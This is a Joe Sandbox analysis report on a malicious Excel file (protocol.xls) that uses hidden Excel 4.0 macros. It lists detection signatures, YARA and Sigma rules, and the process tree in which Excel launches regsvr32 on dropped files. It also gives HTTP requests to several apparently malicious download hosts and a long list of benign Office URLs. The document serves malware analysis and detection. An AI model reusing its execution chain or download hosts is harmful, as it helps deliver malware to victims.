Loading ...

Play interactive tourEdit tour

Windows Analysis Report protocol.xls

Overview

General Information

Sample Name:protocol.xls
Analysis ID:510734
MD5:93383a84bdf0f5ff68b3bb6e30bcd2bb
SHA1:455bb88e45935daa21c2bf86e2b48da0d7627025
SHA256:ca641647b3e2102c7b8f0075f46d1e52618f9b597d4e5ca338dcfec8f1210c59
Tags:xls
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Found detection on Joe Sandbox Cloud Basic with higher score
Multi AV Scanner detection for domain / URL
Sigma detected: Regsvr32 Command Line Without DLL
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Yara detected hidden Macro 4.0 in Excel
Yara signature match
Potential document exploit detected (unknown TCP traffic)
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Internet Provider seen in connection with other malware
Document contains embedded VBA macros
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 7044 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 6616 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6588 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6656 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
protocol.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
  • 0x0:$header_docf: D0 CF 11 E0
  • 0x126aa:$s1: Excel
  • 0x1378f:$s1: Excel
  • 0x3610:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
protocol.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Users\user\Desktop\protocol.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
    • 0x0:$header_docf: D0 CF 11 E0
    • 0x126aa:$s1: Excel
    • 0x1378f:$s1: Excel
    • 0x3610:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
    C:\Users\user\Desktop\protocol.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

      Sigma Overview

      System Summary:

      barindex
      Sigma detected: Regsvr32 Command Line Without DLLShow sources
      Source: Process startedAuthor: Florian Roth: Data: Command: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7044, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, ProcessId: 6616
      Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
      Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7044, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, ProcessId: 6616

      Jbx Signature Overview

      Click to jump to signature section

      Show All Signature Results

      AV Detection:

      barindex
      Multi AV Scanner detection for domain / URLShow sources
      Source: atochagaleria.com.arVirustotal: Detection: 5%Perma Link
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
      Source: unknownHTTPS traffic detected: 199.79.62.121:443 -> 192.168.2.3:49744 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 162.241.2.103:443 -> 192.168.2.3:49745 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 192.99.46.215:443 -> 192.168.2.3:49746 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 192.99.46.215:443 -> 192.168.2.3:49746 version: TLS 1.2

      Software Vulnerabilities:

      barindex
      Document exploit detected (process start blacklist hit)Show sources
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
      Document exploit detected (UrlDownloadToFile)Show sources
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
      Source: global trafficTCP traffic: 192.168.2.3:49744 -> 199.79.62.121:443
      Source: global trafficDNS query: name: maberic.com
      Source: global trafficTCP traffic: 192.168.2.3:49744 -> 199.79.62.121:443
      Source: global trafficHTTP traffic detected: GET /3XRJdBEjFc/l.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: maberic.comConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /toXuNS00/l.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ost.net.brConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /CnijALAyxR/l.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: atochagaleria.com.arConnection: Keep-Alive
      Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: Joe Sandbox ViewIP Address: 162.241.2.103 162.241.2.103
      Source: Joe Sandbox ViewIP Address: 199.79.62.121 199.79.62.121
      Source: Joe Sandbox ViewIP Address: 192.99.46.215 192.99.46.215
      Source: Joe Sandbox ViewIP Address: 192.99.46.215 192.99.46.215
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
      Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.aadrm.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.aadrm.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.cortana.ai
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.diagnostics.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.microsoftstream.com/api/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.office.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.onedrive.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://apis.live.net/v5.0/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://augloop.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://augloop.office.com/v2
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cdn.entity.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://clients.config.office.net/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://config.edge.skype.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cortana.ai
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cortana.ai/api
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://cr.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dataservice.o365filtering.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dataservice.o365filtering.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dev.cortana.ai
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://devnull.onenote.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://directory.services.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://graph.ppe.windows.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://graph.ppe.windows.net/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://graph.windows.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://graph.windows.net/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://incidents.diagnostics.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://lifecycle.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://login.microsoftonline.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://login.windows.local
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://management.azure.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://management.azure.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://messaging.office.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://metadata.templates.cdn.office.net/client/log
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ncus.contentsync.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ncus.pagecontentsync.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://officeapps.live.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://onedrive.live.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://onedrive.live.com/embed?
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://osi.office.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office365.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office365.com/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://pages.store.office.com/review/query
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://powerlift.acompli.net
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://roaming.edog.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://settings.outlook.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://shell.suite.office.com:1443
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://skyapi.live.net/Activity/
